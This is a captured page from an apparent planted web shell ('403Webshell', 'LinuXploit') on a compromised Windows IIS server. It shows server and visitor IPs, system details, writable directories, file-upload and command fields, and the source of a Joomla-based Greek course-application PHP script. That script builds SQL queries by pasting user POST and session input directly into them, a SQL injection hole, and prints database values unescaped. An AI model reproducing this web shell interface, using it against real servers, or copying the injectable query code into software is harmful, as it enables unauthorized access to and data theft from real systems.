403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ees_request/externalpages/ams/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ees_request/externalpages/ams/appStatus_save_appForm.php
<?php
    include('config.php');
    require_once('ApplicationForm.class.php'); 
    
    define( '_JEXEC', 1 );
    define('JPATH_BASE', dirname(__FILE__) );
    define( 'DS', DIRECTORY_SEPARATOR );
    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
    require_once ( JPATH_BASE .DS.'libraries'.DS.'joomla'.DS.'factory.php' );
    
    session_start();

    $mainframe =& JFactory::getApplication('site');
    $user =& JFactory::getUser();             
    
    if (!$user->guest) {

        $_SESSION['USER_NOTES']     = $_POST['userNotes'];
        $_SESSION['SEMESTER_TEACHING']  = $_POST['semesterTeaching'];
        
        $db_connection=mysql_connect($host, $username, $password, $db_name);
            if (!$db_connection) {
                die("<br><b>Database Error:</b> Could not connected. Try again later.<br>");
                exit;
            }
        @mysql_select_db($db_name, $db_connection) or die("Unable to select database.");
        mysql_query("SET NAMES 'utf8'", $db_connection);
        
        
                $size = sizeof($_SESSION['LESSONS_IDS']);
      
                $submitedLessons = $_SESSION['LESSONS_IDS'];
                $userNotes = $_POST['userNotes'];
                $semesterTeaching = $_POST['semesterTeaching']; 
                $year = date('Y');
                $submissionDate = date("Y-m-d"); ; 
                
                echo "<br>";
                 
                for($i = 0; $i < sizeof($_SESSION['LESSONS_IDS']); $i++ ) {
                        //$applicationForm[] = new ApplicationForm($educatorId,$submitedLessons[$i],$educatorNotes[$i],$semesterTeaching[$i]);
                        $applicationForm[] = new ApplicationForm($user->id,$submitedLessons[$i],$_SESSION['DEPARTMENT_ID'],$_SESSION['SECTION_ID'],$year,$submissionDate,$userNotes[$i],$semesterTeaching[$i]);
                             
                }
 
                for($i = 0; $i < sizeof($applicationForm); $i++) {
                    
                    $Q3 = "SELECT lessonId FROM application_form WHERE userId='".$user->id."' AND sectionId='".$applicationForm[$i]->getSectionId()."' AND departmentId='".$applicationForm[$i]->getDepartmentId()."' AND academicYear='".$applicationForm[$i]->getAcademicYear()."' AND lessonId='".$applicationForm[$i]->getLessonId()."'";
                    $result3 = mysql_query($Q3);
                    
                    $Q2 = "SELECT * FROM lesson WHERE id='".$submitedLessons[$i]."'";
                        $result2 = mysql_query($Q2);
                        $row2 = mysql_fetch_array($result2);
                    
                  if( mysql_num_rows($result3) > 0 ) {

                      
                      echo "<br>Το Μάθημα <b>".$row2['lessonTitle']."</b> με Κωδικό Μαθήματος <b>".$row2['id']."</b> <font color='red'>υπάρχει ήδη στην Αίτηση σας.</font>";
                  }
                  else {  
                      $Q = "INSERT INTO application_form(userId,lessonId,departmentId,sectionId,academicYear,submissionDate,userNotes,semesterTeaching, submited)
                            VALUES('".$user->id."', '".$applicationForm[$i]->getLessonId()."', '".$applicationForm[$i]->getDepartmentId()."', '".$applicationForm[$i]->getSectionId()."', '".$applicationForm[$i]->getAcademicYear()."', '".$applicationForm[$i]->getSubmissionDate()."', '".$applicationForm[$i]->getUserNotes()."', '".$applicationForm[$i]->getSemesterTeaching()."', '".$applicationForm[$i]->getSubmited()."')";
                    
                         if(mysql_query($Q)) {
                            echo "<br><b>Το Μάθημα <b>".$row2['lessonTitle']."<b> με Κωδικό Μαθήματος <b>".$row2['id']."</b> <font color='green'>προστέθηκε επιτυχώς!</font></b>";                                       
                         }
                         else {
                            echo "<br></b> <font color='red'>Σφάλμα στην καταχώρηση του μαθήματος <b>".$row2['lessonTitle']."</b> με Κωδικό Μαθήματος <b>".$row2['id']."</font>"; 
                         }  
                  }
                }

                ?>
                    <form method="POST" action="?option=com_content&view=article&id=47&Itemid=15">
                        <center><input type="submit" value="Επιστροφή"></center>
                    </form>
                <?php
        //--------------------------------------------------------------------------------------------        
                
    }
    else {
        echo "<br><font color='red'>Απογορεύεται η πρόσβαση. Δεν είστε συνδεδεμένοι!</font>";
    }
    
    unset($_SESSION['DEPARTMENT_ID']);
    unset($_SESSION['SECTION_ID']);
    unset($_SESSION['USER_NOTES']);
    unset($_SESSION['SEMESTER_TEACHING']);
    unset($_SESSION['LESSONS_IDS']);  
?>

Youez - 2016 - github.com/yon3zu
LinuXploit